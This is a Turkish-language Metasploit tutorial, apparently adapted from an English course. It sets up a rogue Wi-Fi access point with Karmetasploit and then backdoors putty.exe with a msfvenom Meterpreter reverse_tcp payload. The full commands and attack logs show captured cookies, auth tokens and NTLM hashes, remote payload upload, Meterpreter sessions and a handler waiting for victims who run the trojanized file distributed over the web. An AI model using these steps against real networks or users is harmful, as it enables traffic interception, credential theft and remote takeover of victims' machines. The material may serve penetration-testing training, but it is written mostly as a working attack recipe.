Karmetasploit Nedir?
Karmetasploit, access point noktaları oluşturma, parola yakalama, bilgi toplama ve web tarayıcı saldırıları gerçekleştirilmek için kullanılan bir programdır. Kısaca, sahte bir modem veya access point oluşturursunuz. Bir takım kullanıcılar bu noktaya bağlanır. Siz de Karmetasploit sayesinde trafiği dinleyebilirsiniz.
Karmetasploit Ayarlama
Şimdi, Kali Linux içinde Karmetasploit’in kullanıma hazır hale getirilmesini görelim. İlk adımımız kontrol dosyasının indirme ile başlıyor.
Oluşturacağımız Access Point’e kullanıcılar bağlandığında ne olması gerekir? Tabii ki bağlanan kullanıcıya bir IP adresi atanması beklenir. Bu durumda, Kali Linux işletim sistemini DHCP Sunucu olarak ayarlamalıyız.
Şimdi Kali Linux içine isc-dhcp-server kuralım.
root@kali:~# apt update
...snip...
root@kali:~# apt -y install isc-dhcp-server
Reading package lists... Done
Building dependency tree
Reading state information... Done
...snip...
root@kali:~#
Kurulum tamamlandıktan sonra dhcpd.conf dosyasında gerekli ayarları yapalım. dhscpd.conf dosyasının bir yedeğini aldıktan sonra aşağıdaki örneğe benzer hale getirmelisiniz.
root@kali:~# airmon-ng start wlan0
PHY Interface Driver Chipset
phy0 wlan0 ath9k_htc Atheros Communications, Inc. AR9271 802.11n
**(**mac80211 monitor mode vif enabled **for** **[**phy0]wlan0 on **[**phy0]wlan0mon**)**
**(**mac80211 station mode vif disabled **for** **[**phy0]wlan0**)**
Found 2 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill **(**some of**)** them!
PID Name
693 dhclient
934 wpa_supplicant
Monitor Mod ile airbase-ng Başlatalım
root@kali:~# airbase-ng -P -C 30 -e "U R PWND" -v wlan0mon
For information, no action required: Using gettimeofday**()** instead of /dev/rtc
22:52:25 Created tap interface at0
22:52:25 Trying to set MTU on at0 to 150022:52:25 Trying to set MTU on wlan0mon to 180022:52:25 Access Point with BSSID 00:C0:CA:82:D9:63 started.
Yukarıdaki çıktıda görüldüğü gibi at0 isminde yeni bir wireless arayüz başlatıldı. Şimdi, kendi bilgisayarımızı bu ağa dahil edelim.
root@kali:~# ifconfig at0 up 10.0.0.1 netmask 255.255.255.0
root@kali:~#
DHCP Sunucuyu başlatmak üzereyiz. Sunucu başladığında toplanan bilgilerin kayıt edileceği bir veri tabanı ihtiyacımız olacak. Bunun için önce bir veri tabanı oluşturalım ve DHCP sunuyu başlatalım.
root@kali:~# touch /var/lib/dhcp/dhcpd.leases
root@kali:~# dhcpd -cf /etc/dhcp/dhcpd.conf at0
Internet Systems Consortium DHCP Server 4.3.3
Copyright 2004-2015 Internet Systems Consortium.
All rights reserved.
For info, please visit <a href="https://www.isc.org/software/dhcp/">https://www.isc.org/software/dhcp/</a>
Config file: /etc/dhcp/dhcpd.conf
Database file: /var/lib/dhcp/dhcpd.leases
PID file: /var/run/dhcpd.pid
Wrote 0 leases to leases file.
Listening on LPF/at0/00:c0:ca:82:d9:63/10.0.0.0/24
Sending on LPF/at0/00:c0:ca:82:d9:63/10.0.0.0/24
Sending on Socket/fallback/fallback-net
root@kali:~# ps aux | grep **[**d]hcpd
root 2373 0.0 0.4 284489532 ? Ss 13:45 0:00 dhcpd -cf /etc/dhcp/dhcpd.conf at0
root@kali:~#
msfconsole programını harici kaynak olarak, ilk başta indirdiğimiz karma.rc_.txt dosyasını göstererek başlatalım.
root@kali:~# msfconsole -q -r karma.rc_.txt
> Processing karma.rc_.txt **for **ERB directives.
resource **(**karma.rc_.txt**)>** db_connect postgres:toor@127.0.0.1/msfbook
resource **(**karma.rc_.txt**)>** use auxiliary/server/browser_autopwn
resource **(**karma.rc_.txt**)>** setg AUTOPWN_HOST 10.0.0.1
AUTOPWN_HOST **=>** 10.0.0.1
resource **(**karma.rc_.txt**)>** setg AUTOPWN_PORT 55550AUTOPWN_PORT **=>** 55550resource **(**karma.rc_.txt**)>** setg AUTOPWN_URI /ads
AUTOPWN_URI **=>** /ads
resource **(**karma.rc_.txt**)>** set LHOST 10.0.0.1
LHOST **=>** 10.0.0.1
resource **(**karma.rc_.txt**)>** set LPORT 45000LPORT **=>** 45000resource **(**karma.rc_.txt**)>** set SRVPORT 55550SRVPORT **=>** 55550resource **(**karma.rc_.txt**)>** set URIPATH /ads
URIPATH **=>** /ads
resource **(**karma.rc_.txt**)>** run
> Auxiliary module execution completed
resource **(**karma.rc_.txt**)>** use auxiliary/server/capture/pop3
resource **(**karma.rc_.txt**)>** set SRVPORT 110SRVPORT **=>** 110resource **(**karma.rc_.txt**)>** set SSL falseSSL **=>** falseresource **(**karma.rc_.txt**)>** run
> Auxiliary module execution completed
resource **(**karma.rc_.txt**)>** use auxiliary/server/capture/pop3
resource **(**karma.rc_.txt**)>** set SRVPORT 995SRVPORT **=>** 995resource **(**karma.rc_.txt**)>** set SSL trueSSL **=>** trueresource **(**karma.rc_.txt**)>** run
> Auxiliary module execution completed
resource **(**karma.rc_.txt**)>** use auxiliary/server/capture/ftp
> Setup
resource **(**karma.rc_.txt**)>** run
> Listening on 0.0.0.0:110...
> Auxiliary module execution completed
> Server started.
msf auxiliary**(**http**)** >
Artık oluşturduğumuz Acces Point üzerinden dinleme yapıyoruz. Bir kullanıcı kablosuz bağlantı ile bu noktaya bağlanır ve web üzerinden işlemler yapmaya başladıında tüm trafik veri tabanımıza kayıt edilmektedir.
Kayıt edilen paketlere bakalım.
msf auxiliary**(**http**)** >
> DNS 10.0.0.100:1276 XID 87 **(**IN::A <a href="http://www.msn.com/">www.msn.com</a>**)**
> DNS 10.0.0.100:1276 XID 87 **(**IN::A <a href="http://www.msn.com/">www.msn.com</a>**)**
> HTTP REQUEST 10.0.0.100 > <a href="http://www.msn.com/">www.msn.com:80</a> GET / Windows IE 5.01 cookies**=**MC1**=**V**=**3&GUID**=**e2eabc69be554e3587acce84901a53d3; MUID**=**E7E065776DBC40099851B16A38DB8275; mh**=**MSFT; CULTURE**=**EN-US; zip**=**z:68101|la:41.26|lo:-96.013|c:US|hr:1; FlightGroupId**=**14; FlightId**=**BasePage; hpsvr**=**M:5|F:5|T:5|E:5|D:blu|W:F; hpcli**=**W.H|L.|S.|R.|U.L|C.|H.; ushpwea**=**wc:USNE0363; wpv**=**2
> DNS 10.0.0.100:1279 XID 88 **(**IN::A <a href="http://adwords.google.com/">adwords.google.com</a>**)**
> DNS 10.0.0.100:1279 XID 88 **(**IN::A <a href="http://adwords.google.com/">adwords.google.com</a>**)**
> DNS 10.0.0.100:1280 XID 89 **(**IN::A <a href="http://blogger.com/">blogger.com</a>**)**
> DNS 10.0.0.100:1280 XID 89 **(**IN::A <a href="http://blogger.com/">blogger.com</a>**)**
...snip...
> DNS 10.0.0.100:1289 XID 95 **(**IN::A <a href="http://gmail.com/">gmail.com</a>**)**
> DNS 10.0.0.100:1289 XID 95 **(**IN::A <a href="http://gmail.com/">gmail.com</a>**)**
> DNS 10.0.0.100:1289 XID 95 **(**IN::A <a href="http://gmail.com/">gmail.com</a>**)**
> DNS 10.0.0.100:1292 XID 96 **(**IN::A <a href="http://gmail.google.com/">gmail.google.com</a>**)**
> DNS 10.0.0.100:1292 XID 96 **(**IN::A <a href="http://gmail.google.com/">gmail.google.com</a>**)**
> DNS 10.0.0.100:1292 XID 96 **(**IN::A <a href="http://gmail.google.com/">gmail.google.com</a>**)**
> DNS 10.0.0.100:1292 XID 96 **(**IN::A <a href="http://gmail.google.com/">gmail.google.com</a>**)**
> DNS 10.0.0.100:1292 XID 96 **(**IN::A <a href="http://gmail.google.com/">gmail.google.com</a>**)**
> Request '/ads' from 10.0.0.100:1278
> Recording detection from User-Agent
> DNS 10.0.0.100:1292 XID 96 **(**IN::A <a href="http://gmail.google.com/">gmail.google.com</a>**)**
> Browser claims to be MSIE 5.01, running on Windows 2000> DNS 10.0.0.100:1293 XID 97 **(**IN::A <a href="http://google.com/">google.com</a>**)**
> Error: SQLite3::SQLException cannot start a transaction within a transaction /usr/lib/ruby/1.8/sqlite3/errors.rb:62:in `check'/usr/lib/ruby/1.8/sqlite3/resultset.rb:47:in `check'/usr/lib/ruby/1.8/sqlite3/resultset.rb:39:in `commence'/usr/lib/ruby/1.8/sqlite3
...snip...
[*] HTTP REQUEST 10.0.0.100 > <a href="http://ecademy.com/">ecademy.com</a>:80 GET /forms.html Windows IE 5.01 cookies=[*] HTTP REQUEST 10.0.0.100 > <a href="http://facebook.com/">facebook.com</a>:80 GET /forms.html Windows IE 5.01 cookies=[*] HTTP REQUEST 10.0.0.100 > <a href="http://gather.com/">gather.com</a>:80 GET /forms.html Windows IE 5.01 cookies=[*] HTTP REQUEST 10.0.0.100 > <a href="http://gmail.com/">gmail.com</a>:80 GET /forms.html Windows IE 5.01 cookies=[*] HTTP REQUEST 10.0.0.100 > <a href="http://gmail.google.com/">gmail.google.com</a>:80 GET /forms.html Windows IE 5.01 cookies=PREF=ID=474686c582f13be6:U=ecaec12d78faa1ba:TM=1241334857:LM=1241334880:S=snePRUjY-zgcXpEV;NID=22=nFGYMj-l7FaT7qz3zwXjen9_miz8RDn_rA-lP_IbBocsb3m4eFCH6hI1ae23ghwenHaEGltA5hiZbjA2gk8i7m8u9Za718IFyaDEJRw0Ip1sT8uHHsJGTYfpAlne1vB8
[*] HTTP REQUEST 10.0.0.100 > <a href="http://google.com/">google.com</a>:80 GET /forms.html Windows IE 5.01 cookies=PREF=ID=474686c582f13be6:U=ecaec12d78faa1ba:TM=1241334857:LM=1241334880:S=snePRUjY-zgcXpEV;NID=22=nFGYMj-l7FaT7qz3zwXjen9_miz8RDn_rA-lP_IbBocsb3m4eFCH6hI1ae23ghwenHaEGltA5hiZbjA2gk8i7m8u9Za718IFyaDEJRw0Ip1sT8uHHsJGTYfpAlne1vB8
[*] HTTP REQUEST 10.0.0.100 > <a href="http://linkedin.com/">linkedin.com</a>:80 GET /forms.html Windows IE 5.01 cookies=[*] HTTP REQUEST 10.0.0.100 > <a href="http://livejournal.com/">livejournal.com</a>:80 GET /forms.html Windows IE 5.01 cookies=[*] HTTP REQUEST 10.0.0.100 > <a href="http://monster.com/">monster.com</a>:80 GET /forms.html Windows IE 5.01 cookies=[*] HTTP REQUEST 10.0.0.100 > <a href="http://myspace.com/">myspace.com</a>:80 GET /forms.html Windows IE 5.01 cookies=[*] HTTP REQUEST 10.0.0.100 > <a href="http://plaxo.com/">plaxo.com</a>:80 GET /forms.html Windows IE 5.01 cookies=[*] HTTP REQUEST 10.0.0.100 > <a href="http://ryze.com/">ryze.com</a>:80 GET /forms.html Windows IE 5.01 cookies=[*] Sending MS03-020 Internet Explorer Object Type to 10.0.0.100:1278...
[*] HTTP REQUEST 10.0.0.100 > slashdot.org:80 GET /forms.html Windows IE 5.01 cookies=[*] Received 10.0.0.100:1360 LMHASH:00 NTHASH: OS:Windows 20002195 LM:Windows 2000 5.0
...snip...
[*] HTTP REQUEST 10.0.0.100 > <a href="http://www.monster.com/">www.monster.com:80</a> GET /forms.html Windows IE 5.01 cookies=[*] Received 10.0.0.100:1362 TARGET\P0WN3D LMHASH:47a8cfba21d8473f9cc1674cedeba0fa6dc1c2a4dd904b72 NTHASH:ea389b305cd095d32124597122324fc470ae8d9205bdfc19 OS:Windows 20002195 LM:Windows 2000 5.0
[*] Authenticating to 10.0.0.100 as TARGET\P0WN3D...
[*] HTTP REQUEST 10.0.0.100 > <a href="http://www.myspace.com/">www.myspace.com:80</a> GET /forms.html Windows IE 5.01 cookies=[*] AUTHENTICATED as TARGETP0WN3D...
[*] Connecting to the ADMIN$ share...
[*] HTTP REQUEST 10.0.0.100 > <a href="http://www.plaxo.com/">www.plaxo.com:80</a> GET /forms.html Windows IE 5.01 cookies=[*] Regenerating the payload...
[*] Uploading payload...
[*] HTTP REQUEST 10.0.0.100 > <a href="http://www.ryze.com/">www.ryze.com:80</a> GET /forms.html Windows IE 5.01 cookies=[*] HTTP REQUEST 10.0.0.100 > <a href="http://www.slashdot.org/">www.slashdot.org:80</a> GET /forms.html Windows IE 5.01 cookies=[*] HTTP REQUEST 10.0.0.100 > <a href="http://www.twitter.com/">www.twitter.com:80</a> GET /forms.html Windows IE 5.01 cookies=[*] HTTP REQUEST 10.0.0.100 > <a href="http://www.xing.com/">www.xing.com:80</a> GET /forms.html Windows IE 5.01 cookies=[*] HTTP REQUEST 10.0.0.100 > <a href="http://www.yahoo.com/">www.yahoo.com:80</a> GET /forms.html Windows IE 5.01 cookies=[*] HTTP REQUEST 10.0.0.100 > <a href="http://xing.com/">xing.com</a>:80 GET /forms.html Windows IE 5.01 cookies=[*] HTTP REQUEST 10.0.0.100 > <a href="http://yahoo.com/">yahoo.com</a>:80 GET /forms.html Windows IE 5.01 cookies=[*] Created UxsjordQ.exe...
[*] HTTP REQUEST 10.0.0.100 > <a href="http://ziggs.com/">ziggs.com</a>:80 GET /forms.html Windows IE 5.01 cookies=[*] Connecting to the Service Control Manager...
[*] HTTP REQUEST 10.0.0.100 > <a href="http://care.com/">care.com</a>:80 GET / Windows IE 5.01 cookies=[*] HTTP REQUEST 10.0.0.100 > <a href="http://www.gather.com/">www.gather.com:80</a> GET /forms.html Windows IE 5.01 cookies=[*] HTTP REQUEST 10.0.0.100 > <a href="http://www.ziggs.com/">www.ziggs.com:80</a> GET /forms.html Windows IE 5.01 cookies=[*] Obtaining a service manager handle...
[*] Creating a new service...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)[*] Removing the service...
[*] Closing service handle...
[*] Deleting UxsjordQ.exe...
[*] Sending Access Denied to 10.0.0.100:1362 TARGET\P0WN3D
[*] Received 10.0.0.100:1362 LMHASH:00 NTHASH: OS:Windows 20002195 LM:Windows 2000 5.0
[*] Sending Access Denied to 10.0.0.100:1362
[*] Received 10.0.0.100:1365 TARGET\P0WN3D LMHASH:3cd170ac4f807291a1b90da20bb8eb228cf50aaf5373897d NTHASH:ddb2b9bed56faf557b1a35d3687fc2c8760a5b45f1d1f4cd OS:Windows 20002195 LM:Windows 2000 5.0
[*] Authenticating to 10.0.0.100 as TARGET\P0WN3D...
[*] AUTHENTICATED as TARGETP0WN3D...
[*] Ignoring request from 10.0.0.100, attack already in progress.
[*] Sending Access Denied to 10.0.0.100:1365 TARGET\P0WN3D
[*] Sending Apple QuickTime 7.1.3 RTSP URI Buffer Overflow to 10.0.0.100:1278...
[*] Sending stage (2650 bytes)[*] Sending iPhone MobileSafari LibTIFF Buffer Overflow to 10.0.0.100:1367...
[*] HTTP REQUEST 10.0.0.100 > <a href="http://www.care2.com/">www.care2.com:80</a> GET / Windows IE 5.01 cookies=[*] Sleeping before handling stage...
[*] HTTP REQUEST 10.0.0.100 > <a href="http://www.yahoo.com/">www.yahoo.com:80</a> GET / Windows IE 5.01 cookies=[*] HTTP REQUEST 10.0.0.100 > <a href="http://yahoo.com/">yahoo.com</a>:80 GET / Windows IE 5.01 cookies=[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Migrating to lsass.exe...
[*] Current server process: rundll32.exe (848)[*] New server process: lsass.exe (232)[*] Meterpreter session 1 opened (10.0.0.1:45017 -> 10.0.0.100:1364)msf auxiliary(http) > sessions -l
Active sessions=============== Id Description Tunnel
-- ----------- ------
1 Meterpreter 10.0.0.1:45017 -> 10.0.0.100:1364
Yukarıdaki çıktılardan, kullanıcının bir çok adrese bağlandığını ve işlemler yaptığını görebiliriz. Bu çıktıları parça parça inceleyelim.
> DNS 10.0.0.100:1284 XID 92 **(**IN::A <a href="http://ecademy.com/">ecademy.com</a>**)**
> DNS 10.0.0.100:1286 XID 93 **(**IN::A <a href="http://facebook.com/">facebook.com</a>**)**
> DNS 10.0.0.100:1286 XID 93 **(**IN::A <a href="http://facebook.com/">facebook.com</a>**)**
> DNS 10.0.0.100:1287 XID 94 **(**IN::A <a href="http://gather.com/">gather.com</a>**)**
> DNS 10.0.0.100:1287 XID 94 **(**IN::A <a href="http://gather.com/">gather.com</a>**)**
Bu kısımda, kullanıcının bağlanmak istediği adreslere dair DNS Lookup işlemi yapılmaktadır.
> HTTP REQUEST 10.0.0.100 > <a href="http://gmail.google.com/">gmail.google.com</a>:80 GET /forms.html Windows IE 5.01 cook
ies**=**PREF**=**ID**=**474686c582f13be6:U**=**ecaec12d78faa1ba:TM**=**1241334857:LM**=**1241334880: S**=**snePRUjY-zgcXpEV;NID**=**22**=**nFGYMj-l7FaT7qz3zwXjen9_miz8RDn_rA-lP_IbBocsb3m4eFCH6h I1ae23ghwenHaEGltA5hiZbjA2gk8i7m8u9Za718IFyaDEJRw0Ip1sT8uHHsJGTYfpAlne1vB8
> HTTP REQUEST 10.0.0.100 > <a href="http://google.com/">google.com</a>:80 GET /forms.html Windows IE 5.01 cookies**=**PREF**=**ID**=**474686c582f13be6:U**=**ecaec12d78faa1ba:TM**=**1241334857:LM**=**1241334880: S**=**snePRUjY-zgcXpEV;NID**=**22**=**nFGYMj-l7FaT7qz3zwXjen9_miz8RDn_rA-lP_IbBocsb3m4e FCH6hI1ae23g hwenHaEGltA5hiZbjA2gk8i7m8u9Za718IFyaDEJRw0Ip1sT8uHHsJGTYfpAlne1vB8
Here we can see Karmetasploit collecting cookie information from the client. This could be useful information to use **in **attacks against the user later on.
> Received 10.0.0.100:1362 TARGET\P0WN3D LMHASH:47a8cfba21d8473f9cc1674cedeba0fa6dc1c2a4dd904b72 NTHASH:ea389b305cd095d32124597122324fc470ae8d9205bdfc19 OS:Windows 20002195 LM:Windows 2000 5.0
> Authenticating to 10.0.0.100 as TARGET\P0WN3D...
> AUTHENTICATED as TARGET\P0WN3D...
> Connecting to the ADMIN$ share...
> Regenerating the payload...
> Uploading payload...
> Obtaining a service manager handle...
> Creating a new service...
> Closing service handle...
> Opening service...
> Starting the service...
> Transmitting intermediate stager **for **over-sized stage...**(**191 bytes**)**
> Removing the service...
> Closing service handle...
> Deleting UxsjordQ.exe...
> Sending Access Denied to 10.0.0.100:1362 TARGET\P0WN3D
> Received 10.0.0.100:1362 LMHASH:00 NTHASH: OS:Windows 20002195 LM:Windows 2000 5.0
> Sending Access Denied to 10.0.0.100:1362
> Received 10.0.0.100:1365 TARGET\P0WN3D LMHASH:3cd170ac4f807291a1b90da20bb8eb228cf50aaf5373897d NTHASH:ddb2b9bed56faf557b1a35d3687fc2c8760a5b45f1d1f4cd OS:Windows 20002195 LM:Windows 2000 5.0
> Authenticating to 10.0.0.100 as TARGET\P0WN3D...
> AUTHENTICATED as TARGET\P0WN3D...
> Ignoring request from 10.0.0.100, attack already **in **progress.
> Sending Access Denied to 10.0.0.100:1365 TARGET\P0WN3D
> Sending Apple QuickTime 7.1.3 RTSP URI Buffer Overflow to 10.0.0.100:1278...
> Sending stage **(**2650 bytes**)**
> Sending iPhone MobileSafari LibTIFF Buffer Overflow to 10.0.0.100:1367...
> HTTP REQUEST 10.0.0.100 > <a href="http://www.care2.com/">www.care2.com:80</a> GET / Windows IE 5.01 cookies**=**
> Sleeping before handling stage...
> HTTP REQUEST 10.0.0.100 > <a href="http://www.yahoo.com/">www.yahoo.com:80</a> GET / Windows IE 5.01 cookies**=**
> HTTP REQUEST 10.0.0.100 > <a href="http://yahoo.com/">yahoo.com</a>:80 GET / Windows IE 5.01 cookies**=**
> Uploading DLL **(**75787 bytes**)**...
> Upload completed.
> Migrating to lsass.exe...
> Current server process: rundll32.exe **(**848**)**
> New server process: lsass.exe **(**232**)**
> Meterpreter session 1 opened **(**10.0.0.1:45017 -> 10.0.0.100:1364**)**
Bu kısımda, kullanıcının parola bilgilerinin, cookie bilgilerinin toplandığı görülmektedir. Bu işlemlerin ardından, hedef bilgisayarda oturum açılmaya çalışılmaktadır.
Açılan Meterpreter oturumunda neler yapılabileceğine bakalım.
Gördüğünüz gibi, açılan oturumda neler yapılabileceğini örnek olarak gösterdik. Ayrıca bilgi toplama devam ettikçe inanılmaz çok bilgi kayıt edilecektir. Bunların kullanımı için veri tabanına bakmak ihtiyacı hissedebilirsiniz. Şimdi veri tabanı ile etkileşim sağlayalım.
Veri tabanı Ev klasöründe oluşturulmuştu. Aşağıdaki komut ile veri tabanına bağlanalım.
Veri tabanı şemasından faydalanarak bilgileri kontrol edelim.
sqlite> **select** ***** from hosts;1|2009-05-09 23:47:04|10.0.0.100|||alive||Windows|2000|||x86
sqlite> **select** ***** from notes where host_id **=** 1;1|2009-05-09 23:47:04|1|http_cookies|en-us.start2.mozilla.com __utma**=**183859642.1221819733.1241334886.1241334886.1241334886.1; __utmz**=**183859642.1241334886.1.1.utmccn**=(**organic**)**|utmcsr**=**google|utmctr**=**firefox|utmcmd**=**organic
2|2009-05-09 23:47:04|1|http_request|en-us.start2.mozilla.com:80 GET /firefox Windows FF 1.9.0.10
3|2009-05-09 23:47:05|1|http_cookies|adwords.google.com PREF**=**ID**=**ee60297d21c2a6e5:U**=**ecaec12d78faa1ba:TM**=**1241913986:LM**=**1241926890:GM**=**1:S**=**-p5nGxSz_oh1inss; NID**=**22**=**Yse3kJm0PoVwyYxj8GKC6LvlIqQMsruiPwQrcRRnLO_4Z0CzBRCIUucvroS_Rujrx6ov-tXzVKN2KJN4pEJdg25ViugPU0UZQhTuh80hNAPvvsq2_HARTNlG7dgUrBNq; SID**=**DQAAAHAAAADNMtnGqaWPkEBIxfsMQNzDt_f7KykHkPoYCRZn_Zen8zleeLyKr8XUmLvJVPZoxsdSBUd22TbQ3p1nc0TcoNHv7cEihkxtHl45zZraamzaji9qRC-XxU9po34obEBzGotphFHoAtLxgThdHQKWNQZq
4|2009-05-09 23:47:05|1|http_request|adwords.google.com:80 GET /forms.html Windows FF 1.9.0.10
5|2009-05-09 23:47:05|1|http_request|blogger.com:80 GET /forms.html Windows FF 1.9.0.10
6|2009-05-09 23:47:05|1|http_request|care.com:80 GET /forms.html Windows FF 1.9.0.10
7|2009-05-09 23:47:05|1|http_request|0.0.0.0:55550 GET /ads Windows Firefox 3.0.10
8|2009-05-09 23:47:06|1|http_request|careerbuilder.com:80 GET /forms.html Windows FF 1.9.0.10
9|2009-05-09 23:47:06|1|http_request|ecademy.com:80 GET /forms.html Windows FF 1.9.0.10
10|2009-05-09 23:47:06|1|http_cookies|facebook.com datr**=**1241925583-120e39e88339c0edfd73fab6428ed813209603d31bd9d1dccccf3; ABT**=**::#b0ad8a8df29cc7bafdf91e67c86d58561st0:1242530384:A#2dd086ca2a46e9e50fff44e0ec48cb811st0:1242530384:B; s_vsn_facebookpoc_1**=**7269814957402
11|2009-05-09 23:47:06|1|http_request|facebook.com:80 GET /forms.html Windows FF 1.9.0.10
12|2009-05-09 23:47:06|1|http_request|gather.com:80 GET /forms.html Windows FF 1.9.0.10
13|2009-05-09 23:47:06|1|http_request|gmail.com:80 GET /forms.html Windows FF 1.9.0.10
14|2009-05-09 23:47:06|1|http_cookies|gmail.google.com PREF**=**ID**=**ee60297d21c2a6e5:U**=**ecaec12d78faa1ba:TM**=**1241913986:LM**=**1241926890:GM**=**1:S**=**-p5nGxSz_oh1inss; NID**=**22**=**Yse3kJm0PoVwyYxj8GKC6LvlIqQMsruiPwQrcRRnLO_4Z0CzBRCIUucvroS_Rujrx6ov-tXzVKN2KJN4pEJdg25ViugPU0UZQhTuh80hNAPvvsq2_HARTNlG7dgUrBNq; SID**=**DQAAAHAAAADNMtnGqaWPkEBIxfsMQNzDt_f7KykHkPoYCRZn_Zen8zleeLyKr8XUmLvJVPZoxsdSBUd22TbQ3p1nc0TcoNHv7cEihkxtHl45zZraamzaji9qRC-XxU9po34obEBzGotphFHoAtLxgThdHQKWNQZq
15|2009-05-09 23:47:07|1|http_request|gmail.google.com:80 GET /forms.html Windows FF 1.9.0.10
16|2009-05-09 23:47:07|1|http_cookies|google.com PREF**=**ID**=**ee60297d21c2a6e5:U**=**ecaec12d78faa1ba:TM**=**1241913986:LM**=**1241926890:GM**=**1:S**=**-p5nGxSz_oh1inss; NID**=**22**=**Yse3kJm0PoVwyYxj8GKC6LvlIqQMsruiPwQrcRRnLO_4Z0CzBRCIUucvroS_Rujrx6ov-tXzVKN2KJN4pEJdg25ViugPU0UZQhTuh80hNAPvvsq2_HARTNlG7dgUrBNq; SID**=**DQAAAHAAAADNMtnGqaWPkEBIxfsMQNzDt_f7KykHkPoYCRZn_Zen8zleeLyKr8XUmLvJVPZoxsdSBUd22TbQ3p1nc0TcoNHv7cEihkxtHl45zZraamzaji9qRC-XxU9po34obEBzGotphFHoAtLxgThdHQKWNQZq
17|2009-05-09 23:47:07|1|http_request|google.com:80 GET /forms.html Windows FF 1.9.0.10
18|2009-05-09 23:47:07|1|http_request|linkedin.com:80 GET /forms.html Windows FF 1.9.0.10
101|2009-05-09 23:50:03|1|http_cookies|safebrowsing.clients.google.com PREF**=**ID**=**ee60297d21c2a6e5:U**=**ecaec12d78faa1ba:TM**=**1241913986:LM**=**1241926890:GM**=**1:S**=**-p5nGxSz_oh1inss; NID**=**22**=**Yse3kJm0PoVwyYxj8GKC6LvlIqQMsruiPwQrcRRnLO_4Z0CzBRCIUucvroS_Rujrx6ov-tXzVKN2KJN4pEJdg25ViugPU0UZQhTuh80hNAPvvsq2_HARTNlG7dgUrBNq; SID**=**DQAAAHAAAADNMtnGqaWPkEBIxfsMQNzDt_f7KykHkPoYCRZn_Zen8zleeLyKr8XUmLvJVPZoxsdSBUd22TbQ3p1nc0TcoNHv7cEihkxtHl45zZraamzaji9qRC-XxU9po34obEBzGotphFHoAtLxgThdHQKWNQZq
102|2009-05-09 23:50:03|1|http_request|safebrowsing.clients.google.com:80 POST /safebrowsing/downloads Windows FF 1.9.0.10
108|2009-05-10 00:43:29|1|http_cookies|twitter.com auth_token**=**1241930535--c2a31fa4627149c521b965e0d7bdc3617df6ae1f
109|2009-05-10 00:43:29|1|http_cookies|www.twitter.com auth_token**=**1241930535--c2a31fa4627149c521b965e0d7bdc3617df6ae1f
sqlite>
Buradan ötesi, sizin veri tabanı bilginize ve kayıt edilen bilgilerin raporlanmasına kalmış durumdadır.
2.13 - MSF EXE Arka Kapısı
Bir hedef bilgisayara yönelik olarak özel bir .exe dosyası oluşturmak ve içine kodlar gömmek gerçekten uzun zaman alabilir. Bunun yerine, zaten var olan bir .exe uzantılı dosyanın içine, Metasploit Payload modülleri yerleştirebilirsiniz.
Bir EXE Dosyası İle Arka Kapı Oluşturma
Bir hedef bilgisayara yönelik olarak özel bir .exe dosyası oluşturmak ve içine kodlar gömmek gerçekten uzun zaman alabilir. Bunun yerine, zaten var olan bir .exe uzantılı dosyanın içine, Metasploit Payload modülleri yerleştirebilirsiniz.
Bu yazıda, bir .exe dosyasının içine, Metasploit Payload yerleştirip encode etmeyi göreceğiz. Bu sayede, kodlanmış özel .exe dosyasını çalıştıran kullanıcının bilgisayarından bizim bilgisayarımıza Meterpreter oturum açılacaktır.
Exe Dosyası İndirme
Örneğimizde, putty.exe isimli dosyayı kullanacağız. Öncelikle bu dosyayı indirelim. Encode edilmiş .exe dosyamızı web sayfasından dağıtacağımıza göre, Kali Linux içinde sunucumuzun bulunduğu /var/www/ klasörüne gidelim ve indirmeyi aşağıdaki komut ile başlatalım.
Şimdi, bu indirdiğimiz putty.exe dosyasının içine, msfvenom komutunu kullanarak bir Metasploit Payload modülünü yerleştireceğiz. Yerleştireceğimiz modül, windows/meterpreter/reverse_tcp modülüdür ve LHOST olarak kendi IP adresimiz olan 192.168.1.101 IP adresini ayarlayacağız.
Next, we use msfvenom to inject a meterpreter reverse payload into our executable and encoded it 3 times using shikata_ga_nai and save the backdoored file into our web root directory.
root@kali:/var/www# msfvenom -a x86 –platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=192.168.1.101 -e x86/shikata_ga_nai -i 3 -b “\x00” -f exe -o puttyX.exe
Found 1 compatible encoders Attempting to encode payload with 3 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 326 (iteration=0) x86/shikata_ga_nai succeeded with size 353 (iteration=1) x86/shikata_ga_nai succeeded with size 380 (iteration=2) x86/shikata_ga_nai chosen with final size 380 Payload size: 380 bytes Saved as: puttyX.exe root@kali:/var/www#
İşlem başarıyla sonuçlandığında elimizde ```puttyX.exe``` isimli kodlanmış ve içine payload yerleştirilmiş bir çalıştırılabilir dosya bulunmaktadır.
.exe dosyasının içine, reverse payload yerleştirildiğine göre, bu payload bizim yerel bilgisayarımıza bağlanmak isteyecektir. O zaman, ```msfconsole``` içerisinde bir dinleyici modül çalıştırmalıyız ki bağlantı mümkün olsun.
Bunun için ```exploit/multi/handler``` modülünü kullanalım ve gerekli ayarları yapalım.
```sh
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD=> windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.101
LHOST=> 192.168.1.101
msf exploit(handler) > set LPORT 443LPORT=> 443msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.1.101:443
[*] Starting the payload handler...
Artık dinleme modülü de çalışmaktadır. Bu aşamadan sonra yapılması gereken, oluşturduğumuz .exe dosyasını web üzerinden dağıtmaktır. Herhangi bir kullanıcı bu dosyayı çalıştırdığında, otomatik olarak yerel bilgisayarımıza bağlanacak ve Meterpreter oturumu açılacaktır.
> Sending stage **(**749056 bytes**)** to 192.168.1.201
> Meterpreter session 1 opened **(**192.168.1.101:443 -> 192.168.1.201:1189**)** at Sat Feb 05 08:54:25 -0700 2011meterpreter > getuid
Server username: XEN-XP-SPLOIT\Administrator
meterpreter >
Bu yazıda anlatılan işlemler ve .exe dosyasının dağıtılması, göründüğünden daha uzun süre alabilir. Burada sadece işlemin mantığı açıklanmaya çalışılmıştır.
2.14 - MSF Mimikatz
